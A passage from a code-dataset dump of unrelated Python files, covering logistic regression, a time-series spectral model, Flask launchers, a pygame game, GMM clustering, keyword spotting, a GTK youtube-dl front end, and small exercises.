step_gradient(batch_x_list,batch_real_y_list,lr,w,b)\n loss = loss_function(batch_x_list,batch_real_y_list,w,b)\n print('w:{0},b:{1}'.format(w,b))\n print('loss:{0}'.format(loss))\n loss_list.append(loss)\n return loss_list\n\ndef gan_sample_data():\n w = random.randint(0, 15) + random.random()\n b = random.randint(0, 10) + random.random()\n num_sample = 100\n x_list = []\n real_y_list = []\n for i in range(num_sample):\n x = random.randint(0, 100) * random.random()\n y = w * x + b\n y = 1 / (1 + np.exp(-y)) + random.random() * random.randint(-1, 1)\n x_list.append(x)\n real_y_list.append(y)\n return x_list, real_y_list, w, b\n\ndef plot_fig(loss_list):\n x_axis = range(0, 10000)\n fig = plt.figure()\n fig.set_title = ('loss')\n fig.set_xlabel = ('loss number')\n fig.set_ylabel = ('loss vlue')\n plt.plot(x_axis, loss_list)\n\n plt.show()\n\ndef run():\n x_list,real_y_list,w,b = gan_sample_data()\n loss_list = train(x_list,real_y_list,50,0.001,10000)\n plot_fig(loss_list)\n\n\nif __name__ == '__main__':\n run()\n ","sub_path":"cv-week3/logistic-regression.py","file_name":"logistic-regression.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"648216807","text":"#!/usr/bin/env python\n\nimport numpy as np;\nfrom scipy.optimize import minimize_scalar, curve_fit;\nimport datetime;\n\nimport matplotlib.dates as dates;\nimport matplotlib.pyplot as plt;\n\nfrom TimeSeries import TimeSeries;\nfrom TrendModel import TrendModel;\nfrom SeasonalModel import SeasonalModel; \nfrom Statistics import Statistics;\n\nimport pprint; pp = pprint.PrettyPrinter(indent=4);\nimport sys;\n\nimport statsmodels.api as statsmodels;\n\n\nclass CyclicModel:\n \"\"\" Class providing interface for analyzing and plotting CyclicModel\"\"\"\n\n def __init__(self, timeSeries, trendModel, seasonalModel):\n self._time_num_int_sec = timeSeries.get_time_num();\n self._time_num_float_year = timeSeries.get_time_num_float_year();\n self._ts_values = timeSeries.get_values();\n self._trend_residuals = trendModel.get_residuals();\n self._seasonal_residuals = seasonalModel.get_residuals();\n self._stat = seasonalModel.stat;\n\n self._fft = None;\n self._acf = None;\n self._significant_frequencies = None;\n self._residuals = None;\n self._values = None;\n\n self.fft();\n self.compute_significant_frequencies();\n\n if self._significant_frequencies is None or self._significant_frequencies.size == 0:\n self._significant_frequencies = self.get_biggest_frequencies(2);\n self._refined_frequencies = self.refine_significant_frequencies();\n else:\n self._refined_frequencies = self.refine_significant_frequencies();\n\n self.cyclic_regression(self._refined_frequencies);\n\n def get_refined_frequencies(self):\n return self._refined_frequencies;\n\n def fft(self):\n fft_return = np.fft.fft(self._seasonal_residuals);\n\n def discrete_sample_spectrum(frequency, values):\n sum = 0;\n\n n = len(values);\n for i in range(n):\n sum += values[i] * np.exp(1j * (i + 1) * frequency);\n\n return (1/(2 * np.pi)) * np.abs( ((1)/(n)) * sum )**2;\n\n fft_values = [];\n frequencies = [];\n period = [];\n\n for index in range(int((len(self._seasonal_residuals)) / (2))):\n frequency = ((2 * np.pi * index)/(len(self._seasonal_residuals)));\n fft_values.append(discrete_sample_spectrum(frequency, self._seasonal_residuals));\n frequencies.append(frequency);\n if frequency:\n period.append((2 * np.pi) / frequency);\n else:\n period.append(None);\n \n fft = [];\n for i in range(len(frequencies)):\n fft.append((i, fft_values[i], frequencies[i], period[i]));\n\n dtype = [('index', int), ('fft', float), ('frequency', float), ('period', float)]\n self._fft = np.array(fft, dtype=dtype);\n\n def get_biggest_frequencies(self, n):\n if self._fft is not None:\n # sort by fft column, get n biggest and flip array to have biggest value on smallest index\n return np.flipud(np.sort(self._fft, order='fft')[-n:]);\n\n def _create_auto_correlation_fft(self):\n fft_values = [];\n acf_val = [];\n\n for i in range(len(self._fft['fft'])):\n fft_values.append(self._fft[i]['fft']);\n\n for lag in range(int(len(self._fft)/2)):\n acf_val.append( self._stat.sample_auto_correlation( fft_values, lag ));\n\n self._acf = np.array(acf_val);\n\n def continuous_sample_spectrum(self, omega):\n acov = statsmodels.tsa.stattools.acovf(self._seasonal_residuals);\n sum = 0;\n n = len(self._seasonal_residuals);\n\n for i in range(1, n - 2):\n sum += acov[i] * np.cos(i * omega);\n\n return ((1) / (2*np.pi)) * (acov[0] + 2 * sum);\n\n def create_plot_periodogram(self, type):\n if type == \"frequency\":\n plt.xlabel(\"Frequency\");\n plt.bar(self._fft['frequency'], self._fft['fft'][:len(self._fft['frequency'])], width=0.01);\n elif type == \"period\":\n plt.xlabel(\"Period\");\n plt.bar(self._fft['period'], self._fft['fft'][:len(self._fft['period'])], width=0.1);\n\n def create_continuous_sample_spectrum_plot(self):\n frequency = None;\n\n frequencies = [];\n values = [];\n\n for i in range(1, 1001):\n frequency = (i*np.pi)/(1000);\n frequencies.append((2 * np.pi) / (frequency));\n values.append(self.continuous_sample_spectrum(frequency));\n\n plt.plot(np.array(frequencies), np.array(values), ls='solid');\n plt.show();\n\n def show_plot(self):\n plt.show();\n\n def compute_significant_frequencies(self):\n self._significant_frequencies = self.fisher_periodicity_test(self._fft, 0.05);\n\n def print_description(self, output=\"stdout\"):\n sorted_array = np.flipud(np.sort(self._fft, order='fft')[-10:]);\n\n print(\"### Biggest frequencies ###\");\n print(\" fft \\t\\t frequency \\t period\");\n for f in sorted_array:\n if output == \"stdout\":\n print(\" %2.8f\\t %2.8f\\t %2.8f\" % (f['fft'], f['frequency'], f['period']));\n else: \n print(\"%2.8f & %2.8f & %2.8f \\\\\\\\\" % (f['fft'], f['frequency'], f['period']));\n\n print(\"### Significant frequencies ###\");\n print(\" fft \\t\\t frequency \\t period\");\n for f in self._significant_frequencies:\n if output == \"stdout\":\n print(\" %2.8f\\t %2.8f\\t %2.8f\" % (f['fft'], f['frequency'], f['period']));\n else:\n print(\"%2.8f & %2.8f & %2.8f \\\\\\\\\" % (f['fft'], f['frequency'], f['period']));\n\n\n print(\"### Refined significant frequencies ###\");\n print(\" fft \\t\\t frequency \\t period \\t refined_frequency \\t refined_period\");\n for f in self._refined_frequencies:\n if output == \"stdout\":\n print(\" %2.8f\\t %2.8f\\t %2.8f\\t %2.8f\\t\\t %2.8f\" % (f['significant_frequency']['fft'], f['significant_frequency']['frequency'], f['significant_frequency']['period'], f['refined_frequency'], f['refined_period']));\n else:\n print(\" %2.8f & %2.8f & %2.8f & %2.8f & %2.8f \\\\\\\\\" % (f['significant_frequency']['fft'], f['significant_frequency']['frequency'], f['significant_frequency']['period'], f['refined_frequency'], f['refined_period']));\n\n\n print(\"Refining offset: \" + str(self._refinning_offset));\n print(\"Regression coeficients: \" + str(self._regression_coef));\n\n for i in range(1, len(self._regression_coef), 2):\n print(np.sqrt(self._regression_coef[i]**2 + self._regression_coef[i + 1]**2));\n\n\n def refine_significant_frequencies(self):\n if self._significant_frequencies is not None and self._significant_frequencies.size > 0:\n refined_frequencies = [];\n self._refinning_offset = 0.03; \n\n for significant_frequency in self._significant_frequencies:\n frequency = significant_frequency['frequency'];\n optimize_result = minimize_scalar(lambda x: -1 * self.continuous_sample_spectrum(x), bounds=(frequency - self._refinning_offset, frequency + self._refinning_offset), method='bounded');\n # print(\"Refining frequency \" + str(frequency) + \" on bounds=(\" + str(frequency - self._refinning_offset) + \",\" + str(frequency + self._refinning_offset) + \") result: \" + str(optimize_result['x']));\n if optimize_result['success']:\n frequency_already_found = False;\n\n # collision with other already found refined frequencies\n for freq in refined_frequencies:\n delta = np.abs(optimize_result['x'] - freq['refined_frequency']);\n if delta < 0.0001:\n # print(\"Throwing out: \" + str(optimize_result['x']));\n frequency_already_found = True;\n break;\n\n if not frequency_already_found:\n refined_frequencies.append({ \\\n 'significant_frequency': significant_frequency, \\\n 'refined_frequency': optimize_result['x'], \\\n 'refined_period': (2 * np.pi / optimize_result['x']) });\n else:\n refined_frequencies.append({ \\\n 'significant_frequency': significant_frequnecy, \\\n 'refined_frequency': frequency, \\\n 'refined_period': significant_frequency['period'] });\n\n return refined_frequencies;\n else:\n print(\"### No significant frequencies to refine ###\");\n \n def fisher_periodicity_test(self, data, alpha):\n significant_frequencies = []; \n data_copy = data;\n\n while True and len(data_copy) > 0:\n Y = []; \n\n denominator = 0;\n for i in range(len(data_copy)):\n denominator += data_copy[i]['fft'];\n\n for i in range(len(data_copy)):\n Y.append(data_copy[i]['fft'] / denominator);\n\n max_index = Y.index(max(Y));\n\n tested_value = Y[max_index];\n critical_value = 1 - (((alpha)/(len(data)))**((1)/(len(data)-1)));\n\n if tested_value > critical_value:\n significant_frequencies.append(data_copy[max_index]);\n data_copy = np.delete(data_copy, max_index);\n # Test ends with first value not bellow critical value\n else:\n# print(\"### Significant frequencies found in Fisher's test ###\");\n# pp.pprint(significant_frequencies);\n return np.array(significant_frequencies);\n\n def cyclic_regression(self, refined_frequencies):\n # Ad hoc made up constant to fit values\n def cyclic(x, a, b, c, d, e, f, g, h, i): \n sum = 0;\n return a + \\\n b * np.cos((2 * np.pi * x) / (2)) + \\\n c * np.sin((2 * np.pi * x) / (2)) + \\\n d * np.cos((2 * np.pi * x) / (3)) + \\\n e * np.sin((2 * np.pi * x) / (3)) + \\\n f * np.cos((2 * np.pi * x) / (5)) + \\\n g * np.sin((2 * np.pi * x) / (5)) + \\\n h * np.cos((2 * np.pi * x) / (10)) + \\\n i * np.sin((2 * np.pi * x) / (10));\n\n popt, pcov = curve_fit(cyclic, self._time_num_float_year, self._seasonal_residuals);\n self._regression_coef = popt;\n self._fitted_cyclic_func = lambda t: cyclic(t, *self._regression_coef);\n\n cyclic_val = [];\n residuals = [];\n\n for t, y in zip(self._time_num_float_year, self._seasonal_residuals):\n cyclic_val.append(self._fitted_cyclic_func(t));\n residuals.append(y - self._fitted_cyclic_func(t));\n\n self._cyclic_val = np.array(cyclic_val);\n self._residuals = np.array(residuals);\n\n def create_cyclic_func_plot(self):\n plt.plot_date(self._time_num_int_sec, self._cyclic_val, xdate=True, ls='solid');\n\n def create_residuals_plot(self):\n plt.plot_date(self._time_num_int_sec, self._residuals, xdate=True, ls='solid');\n\n def create_seasonal_residuals_plot(self):\n plt.plot_date(self._time_num_int_sec, self._seasonal_residuals, xdate=True, ls='solid');\n\n def get_residuals(self):\n if self._residuals is not None:\n return self._residuals;\n \n def get_values(self):\n if self._cyclic_val is not None:\n return self._cyclic_val;\n\nif __name__ == \"__main__\":\n stat = Statistics();\n ts = TimeSeries();\n tm = TrendModel(ts, \"spline\", spline_breakpoint=datetime.date(1950, 9, 1));\n sm = SeasonalModel(ts, tm, \"goniometric_functions\");\n cm = CyclicModel(ts, tm, sm);\n cm.create_continuous_sample_spectrum_plot();\n cm.print_description(\"stdout\");\n","sub_path":"CyclicModel.py","file_name":"CyclicModel.py","file_ext":"py","file_size_in_byte":11916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"449609356","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom flask_app import create_app\n\napp = create_app()\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=8000)\n\n","sub_path":"mosquitto_api/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"107707464","text":"# -*- coding: utf-8 -*-\nfrom hut_helper import app\nfrom flask_script import Manager, Server\n\n\nmanager = Manager(app)\n\n\nif __name__ == '__main__':\n manager.add_command(\"runserver\", Server(\n use_debugger=True,\n use_reloader=True,\n host='127.0.0.1',\n port=5000))\n\n manager.run()\n","sub_path":"hut_helper/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"347740787","text":"#Draws the game using pygame with information got from main_calculations\nimport os, pygame, time\nfrom pygame.locals import *\nfrom main_engine import Engine\n\nclass GFX(object):\n '''\n Class that draws graphics\n '''\n \n def __init__(self):\n #Initialize everything used in game and menus:\n pygame.init()\n self.screen = pygame.display.set_mode((590, 810))\n pygame.display.set_caption(\"Rock ON!\")\n self.game=Engine()\n pygame.mouse.set_visible(0)\n \n #Initializes objectlists:\n self.game_objects=[]\n self.menu1_objects=[]\n self.menu2_objects=[]\n \n for object in self.game.return_gamesprites():\n self.game_objects.append(pygame.sprite.RenderPlain(object))\n \n for object in self.game.return_menu1sprites():\n self.menu1_objects.append(pygame.sprite.RenderPlain(object))\n \n for object in self.game.return_menu2sprites():\n self.menu2_objects.append(pygame.sprite.RenderPlain(object))\n \n #Load backgrounds:\n self.backgrounds=[]\n \n background = pygame.image.load(\"gfx/back0.bmp\")\n background = background.convert()\n self.backgrounds.append(background)\n\n background = pygame.image.load(\"gfx/back1.bmp\")\n background = background.convert()\n self.backgrounds.append(background)\n\n background = pygame.image.load(\"gfx/back2.bmp\")\n background = background.convert()\n self.backgrounds.append(background)\n\n self.helpbox=pygame.image.load(\"gfx/helpbox.bmp\")\n self.helpbox = self.helpbox.convert()\n self.helpbox.set_colorkey((0,250,0), RLEACCEL)\n\n self.font=pygame.font.Font(None,24)\n\n \n self.screen.blit(self.backgrounds[0], (0, 0))\n pygame.display.flip()\n self.clock = pygame.time.Clock()\n self.font = pygame.font.Font(None,24)\n \n self.startmenuloop()\n \n def gameloop(self):\n start_time=time.time()\n\n self.game_objects=pygame.sprite.RenderPlain(self.game.return_gamesprites())\n\n while True:\n\n current_time=time.time()-start_time\n progress=int(round((current_time/212)*100))\n\n #If new objects were made:\n if self.game.return_new()!=[]:\n for object in self.game.return_new():\n object.add(self.game_objects)\n \n self.clock.tick(50)\n #Controls:\n for event in pygame.event.get():\n if event.type == QUIT:\n return\n elif event.type == KEYDOWN and event.key == K_ESCAPE:\n return\n \n #update sprites/returns 0 if game ends:\n update=self.game.update_objects(\"game\")\n if update<=0:\n self.game.calculate_end_score()\n break\n\n #debug=self.font.render(\"FPS: \"+str(self.clock.get_fps()),True,[255,0,0])\n left=self.game.return_player_lives()\n if(left>=3):\n color=[62,126,11]\n elif(left==2):\n color=[254,106,55]\n elif(left<=1):\n color=[240,42,22]\n\n lives=self.font.render(\"Lives: \"+str(left),True,color)\n score=self.font.render(\"Score: \"+str(self.game.return_player_score()),True,[158,158,158])\n percent_done=self.font.render(\"Song done: \"+str(progress)+\" %\",True,[158,158,158])\n \n #Blit screen to clear it:\n self.screen.blit(self.backgrounds[1], (0, 0))\n \n #Draw new sprites:\n self.game_objects.draw(self.screen)\n #self.screen.blit(debug,[210,40])\n self.screen.blit(lives,[30,14])\n self.screen.blit(score,[30,41])\n self.screen.blit(percent_done,[135,14])\n \n pygame.display.flip()\n\n self.endmenuloop()\n \n def startmenuloop(self):\n #action=action that happens when click\n action=None\n while True:\n self.clock.tick(60)\n \n for event in pygame.event.get():\n if event.type == QUIT:\n return\n elif event.type == KEYDOWN and event.key == K_ESCAPE:\n return\n elif event.type == MOUSEBUTTONDOWN:\n action=self.game.click()\n \n #update sprites:\n self.game.update_objects(\"menu1\")\n \n self.screen.blit(self.backgrounds[0], (0, 0))\n \n for object in self.menu1_objects:\n object.draw(self.screen)\n \n if(action==\"start\"):\n self.gameloop()\n break\n elif(action==\"help\"):\n self.screen.blit(self.helpbox,(30,400))\n\n pygame.display.flip()\n \n def endmenuloop(self):\n #action=action that happens when click\n action=None\n while True:\n self.clock.tick(60)\n \n for event in pygame.event.get():\n if event.type == QUIT:\n return\n elif event.type == KEYDOWN and event.key == K_ESCAPE:\n return\n elif event.type == MOUSEBUTTONDOWN:\n action=self.game.click()\n \n #update sprites:\n self.game.update_objects(\"menu2\")\n if(self.game.failed==False):\n text=\"You rocked the song!!!\"\n else:\n text=\"YOU FAILED! Well at least you can try again...\"\n\n message=self.font.render(text,True,[250,118,0])\n score=self.font.render(\"Your Score is: \"+str(self.game.return_player_score()),True,[250,118,0])\n \n self.screen.blit(self.backgrounds[2], (0, 0))\n \n for object in self.menu2_objects:\n object.draw(self.screen)\n\n self.screen.blit(message,[20,20])\n self.screen.blit(score,[20,40])\n \n pygame.display.flip()\n\nRUN=GFX()","sub_path":"src/main_gfx.py","file_name":"main_gfx.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"594573943","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import mixture\nfrom sklearn import cross_validation\n\nn_samples = 300\nnp.random.seed(0)\nC = np.array([[0., -0.7], [3.5, .7]])\nX = np.r_[np.dot(np.random.randn(n_samples, 2), C),\n np.random.randn(n_samples, 2) + np.array([20, 20])]\n\n################################################\n###### cross validation ######\n################################################\nind = np.arange(n_samples * 2)\nnp.random.shuffle(ind)\nX_shuffle = X[ind, :]\nX_train = X_shuffle[range(0, n_samples), :]\nX_test = X_shuffle[range(n_samples, n_samples * 2 - 1), :]\n\nscore_cv = []\nfor num_class in range(1, 8):\n clf_a = mixture.GMM(n_components=num_class, covariance_type='full')\n clf_a.fit(X_train)\n score_a = np.mean(clf_a.score(X_test))\n clf_b = mixture.GMM(n_components=num_class, covariance_type='full')\n clf_b.fit(X_test)\n score_b = np.mean(clf_a.score(X_train))\n score_cv.append((score_a + score_b) / 2)\n\nplt.figure(1)\nplt.plot(range(1, 8), score_cv)\nplt.title('cross validation')\n\n################################################\n###### aci bic ######\n################################################\nscore_aic = []\nscore_bic = []\nfor num_class in range(1, 8):\n clf = mixture.GMM(n_components=num_class, covariance_type='full')\n clf.fit(X)\n labels = clf.predict(X)\n score_aic.append(clf.aic(X))\n score_bic.append(clf.bic(X))\n\nplt.figure(2)\nplt.plot(range(1, 8), score_aic)\nplt.title('aic')\nplt.figure(3)\nplt.title('bic')\nplt.plot(range(1, 8), score_bic)\n\nplt.show()\n\n\n# clf = mixture.GMM(n_components=2, covariance_type='full')\n# clf.fit(X)\n# labels = clf.predict(X)\n\n# x = np.linspace(-20.0, 30.0)\n# y = np.linspace(-20.0, 40.0)\n# XX, YY = np.meshgrid(x, y)\n# Z = np.log(-clf.score_samples(np.c_[XX.ravel(), YY.ravel()])[0]).reshape(XX.shape)\n# plt.close('all')\n# CS = plt.contour(XX, YY, Z)\n# CB = plt.colorbar(CS, shrink=0.8, extend='both')\n# plt.plot(X[labels == 0, 0], X[labels == 0, 1], 'or')\n# plt.plot(X[labels == 1, 0], X[labels == 1, 1], 'ob')\n# plt.axis('tight')\n# plt.show()\n","sub_path":"Clustering/TP_clustering_gmm.py","file_name":"TP_clustering_gmm.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"256197665","text":"'''\nASR based keyword spotting system. This script searches for the keywords given in the output of the ASR.\n\nArgs:\nkeywords: customizable list of keywords.\npath2transcription: path to the transcription file (ie. path to file `transcribed_speech.txt`)\n\nOutput:\nDict, {keyword: number_of_times_spotted}\n'''\n\nimport argparse\n\n# Instantiate the parser\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-kw', '--keywords', type=str, nargs='+',\n help='customizable list of keywords', required=True)\n\nparser.add_argument('-p2t', '--path2transcription', type=str, default='transcriptions/transcribed_speech.txt',\n help='path to the transcription file (ie. path to file `transcribed_speech.txt`)')\n\nargs = parser.parse_args()\n\nkeywords = args.keywords\npath2transcription = args.path2transcription\n\nkw_dict = {}\n# Initialize keyword dictionary\nfor kw in keywords:\n kw_dict[kw] = 0\n \n# Dict with elements (utterance_id, transcription)\nutterances_dict = {} \n\nwith open(path2transcription) as fp:\n for line in fp:\n utt_id, transcription = line.split(' ', 1)\n for kw in keywords:\n if kw in transcription:\n kw_dict[kw] += 1\n utterances_dict[utt_id] = transcription\n\nprint('\\n**********************************************************************\\n') \nprint('ASR based keyword spotting results (keyword: number_of_times_spotted):')\nprint(kw_dict)\nprint('\\n**********************************************************************') \n","sub_path":"asr_kws/kaldi-generic-en-tdnn_f-r20190609/v1/asr_kws.py","file_name":"asr_kws.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"649427564","text":"\"\"\"\nGrid creation manager\n\"\"\"\n\n\nfrom .. import cells as ct\nfrom .polar import GridPolar\nfrom .hex import GridHex\nfrom .triangle import GridTriangle\nfrom .octogon import GridOctogon\nfrom .dodecagon import GridDodecagon\nfrom .weave import GridWeave\nfrom .box import GridBox\nfrom .grid import Grid\nfrom ..algorithms import manager as algorithm_manager\n\n\ndef generate_grid(props) -> None:\n grid = None\n maze_dimension = props.maze_space_dimension\n space_reps = props.space_reps\n warp_horiz = maze_dimension in (space_reps.cylinder, space_reps.moebius, space_reps.torus)\n warp_vert = maze_dimension == space_reps.torus\n if props.cell_type == ct.POLAR:\n return GridPolar(\n rows=props.maze_rows_or_radius,\n columns=0,\n levels=props.maze_levels,\n cell_size=1 - props.cell_inset,\n branch_polar=props.maze_polar_branch)\n\n if props.cell_type == ct.HEXAGON:\n grid = GridHex\n elif props.cell_type == ct.TRIANGLE:\n grid = GridTriangle\n elif props.cell_type == ct.OCTOGON:\n grid = GridOctogon\n elif props.cell_type == ct.DODECAGON:\n grid = GridDodecagon\n else:\n if props.maze_weave:\n return GridWeave(\n rows=props.maze_rows_or_radius,\n columns=props.maze_columns,\n levels=1,\n cell_size=1 - max(0.2, props.cell_inset),\n use_kruskal=algorithm_manager.is_kruskal_random(\n props.maze_algorithm),\n weave=props.maze_weave,\n warp_horiz=warp_horiz,\n warp_vert=warp_vert,\n )\n\n if maze_dimension == space_reps.box:\n rows = props.maze_rows_or_radius\n cols = props.maze_columns\n return GridBox(\n rows=3 * rows,\n columns=2 * cols + 2 * rows,\n levels=props.maze_levels,\n cell_size=1 - props.cell_inset,\n mask=[\n (0, 0, rows - 1, rows - 1),\n (rows + cols, 0, 2 * rows + 2 * cols - 1, rows - 1),\n (0, 2 * rows, rows - 1, 3 * rows - 1),\n (rows + cols, 2 * rows, 2 * rows + 2 * cols - 1, 3 * rows - 1)])\n grid = Grid\n return grid(\n rows=props.maze_rows_or_radius,\n columns=props.maze_columns,\n levels=props.maze_levels,\n cell_size=1 - props.cell_inset,\n warp_horiz=warp_horiz,\n warp_vert=warp_vert,\n )\n","sub_path":"Maze Generator/maze_logic/grids/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"571403135","text":"class Solution(object):\n def fourSumCount(self, A, B, C, D):\n \"\"\"\n :type A: List[int]\n :type B: List[int]\n :type C: List[int]\n :type D: List[int]\n :rtype: int\n \"\"\"\n n, map = len(A), {}\n for i in range(n):\n for j in range(n):\n sum = A[i] + B[j]\n map[sum] = map.setdefault(sum, 0) + 1\n \n res = 0\n for i in range(n):\n for j in range(n):\n res += map.get(-C[i]-D[j], 0)\n return res\n","sub_path":"python_solutions/454-4sum-ii.py","file_name":"454-4sum-ii.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"427418332","text":"\r\n#döngü yaratımı\r\n\r\n#verdiğimiz değişkenin içindeki her letteri yazdırıyoruz\r\nfor letter in \"Snake\":\r\n print(letter)\r\n\r\n\r\n#dizi ile ilgili kullanımı\r\nfriends = [\"Jim\",\"Karen\",\"Kevin\"]\r\nfor friend in friends:\r\n print(friend)\r\n\r\n#aralıktaki indexleri yazdırmak\r\n#range önceden tanımlı aralık fonksiyonu\r\n#range(3,10) 3ten başlıyarak 10'a kadar [10 dahil değil]\r\nfor index in range(10): \r\n print(index)\r\n\r\nlen(friends) #içindeki verilerin uzunluğu [3]\r\n\r\n#friends dizisinin uzunluğu aralığında her birinin indexle yazdırmak\r\nfor index in range(len(friends)):\r\n print(friends[index])\r\n\r\n#if ile kullanımı\r\nfor index in range(5):\r\n if index == 0:\r\n print(\"first iteration\")\r\n else:\r\n print(\"not first\")","sub_path":"Course17_for_loop.py","file_name":"Course17_for_loop.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"444475481","text":"from PIL import Image\nimport numpy as np\n\n# 元となる画像の読み込み\nimg = Image.open('original.jpg')\n#オリジナル画像の幅と高さを取得\nwidth, height = img.size\nprint(\"width, height = \", width, \",\" ,height)\n# オリジナル画像と同じサイズのImageオブジェクトを作成する\nimg2 = Image.new('RGB', (width, height))\n\nimg_pixels = []\nfor y in range(height):\n for x in range(width):\n # getpixel((x,y))で左からx番目,上からy番目のピクセルの色を取得し、img_pixelsに追加する\n img_pixels.append(img.getpixel((x,y)))\n# あとで計算しやすいようにnumpyのarrayに変換しておく\nimg_pixels = np.array(img_pixels)\nprint(img_pixels)\n\n\nimg_pixels[100][200]\n# => array([255,255,255])\n\n\nimg2.putpixel((100, 200), (0, 0, 255))\n\n\nimg2.show()\n\nimg2.save('edited_img.jpg')\n","sub_path":"Python/search_tests/参考/edit_img.py","file_name":"edit_img.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"41842600","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, GObject\n\nfrom subprocess import Popen\n\n\nclass DialogExample(Gtk.Dialog):\n\n def __init__(self, parent, call_data):\n Gtk.Dialog.__init__(self, \"Downloading...\", parent, 0)\n\n self.set_default_size(150, 100)\n\n box = self.get_content_area()\n\n self.progressbar = Gtk.ProgressBar()\n box.pack_start(self.progressbar, True, True, 0)\n\n self.timeout_id = GObject.timeout_add(50, self.on_timeout, None)\n self.activity_mode = False\n self.call_data = call_data\n labelInfo = \"\"\n for text in call_data:\n labelInfo += text + \"\\n\"\n label = Gtk.Label(labelInfo)\n label.set_line_wrap(True)\n box.add(label)\n\n self.p = Popen(call_data)\n self.show_all()\n def on_timeout(self, user_data):\n \"\"\"\n Update value on the progress bar\n \"\"\"\n if self.activity_mode:\n self.progressbar.pulse()\n else:\n new_value = self.progressbar.get_fraction() + 0.01\n\n if new_value > 1:\n new_value = 0\n\n self.progressbar.set_fraction(new_value)\n\n # As this is a timeout function, return True so that it\n # continues to get called\n if self.p.poll() is not None:\n self.destroy()\n return False\n return True\nclass ButtonWindow(Gtk.Window):\n\n def __init__(self):\n Gtk.Window.__init__(self, title=\"Youtube-dl Gui\")\n self.set_border_width(10)\n\n hbox = Gtk.Box(spacing=6)\n self.add(hbox)\n\n button = Gtk.ToggleButton(\"Is Playlist\")\n button.connect(\"toggled\", self.on_button_toggled, \"1\")\n hbox.pack_start(button, True, True, 0)\n self.is_playlist = False\n\n self.entry = Gtk.Entry()\n self.entry.set_text(\"enter url here\")\n hbox.pack_start(self.entry, True, True, 0)\n\n button2 = Gtk.Button(\"Choose Folder\")\n button2.connect(\"clicked\", self.on_folder_clicked)\n hbox.add(button2)\n self.download_location = \"~/Music/\"\n button = Gtk.Button.new_with_mnemonic(\"Download\")\n button.connect(\"clicked\", self.on_download_clicked)\n hbox.pack_start(button, True, True, 0)\n\n button = Gtk.Button.new_with_mnemonic(\"_Close\")\n button.connect(\"clicked\", self.on_close_clicked)\n hbox.pack_start(button, True, True, 0)\n\n def on_button_toggled(self, button, name):\n self.is_playlist = not self.is_playlist\n\n def on_folder_clicked(self, widget):\n dialog = Gtk.FileChooserDialog(\"Please choose a folder\", self,\n Gtk.FileChooserAction.SELECT_FOLDER,\n (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n \"Select\", Gtk.ResponseType.OK))\n dialog.set_default_size(800, 400)\n\n response = dialog.run()\n if response == Gtk.ResponseType.OK:\n print(\"Select clicked\")\n print(\"Folder selected: \" + dialog.get_filename())\n self.download_location = dialog.get_filename()\n elif response == Gtk.ResponseType.CANCEL:\n print(\"Cancel clicked\")\n\n dialog.destroy()\n\n def on_download_clicked(self, button):\n print(\"Downloading \" + self.entry.get_text())\n if self.is_playlist:\n print(\" as a playlist\")\n print(\" to: \" + self.download_location)\n isplaylist = \"--no-playlist\"\n if self.is_playlist:\n isplaylist = \"--yes-playlist\"\n outputLocation = self.download_location + \"/%(title)s.%(ext)s\"\n\n dialog = DialogExample(self,\n [\"youtube-dl\",\n #\"-v\",\n \"-q\",\n \"--extract-audio\",\n \"--audio-format\", \"mp3\",\n isplaylist,\n \"-o\", outputLocation,\n self.entry.get_text()])\n dialog.run()\n\n dialog.destroy()\n def on_close_clicked(self, button):\n print(\"Closing application\")\n Gtk.main_quit()\n\nwin = ButtonWindow()\nwin.connect(\"delete-event\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n\n\n\n# checkbox for is playlist\n# text entry for url\n# text entry for file location to download at\n# download button to begin process #\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"560536811","text":"import numpy as np\nfrom sklearn import preprocessing \n\ndef pre_processing(Normalized=True):\n variables=[\"Index\", \"PS1\", \"PS2\", \"PS3\", \"PS4\", \"PS5\", \"PS6\", \"EPS1\",\n \"FS1\", \"FS2\", \"TS1\", \"TS2\", \"TS3\", \"TS4\", \"VS1\", \"CE\", \"CP\",\n \"SE\"]\n #PS1~EPS1 100Hz FS 10Hz else 1Hz\n\n paths = [x+\".txt\" for x in variables]\n raw_data = {}\n\n for i,path in enumerate(paths[1:]):\n with open(path) as f:\n data = []\n for line in f:\n l = line.split()\n l = [float(x) for x in l]\n data.append(l)\n raw_data[variables[i+1]] = np.array(data)\n\n\n processed_data={}\n scaler = preprocessing.StandardScaler()\n if Normalized:\n 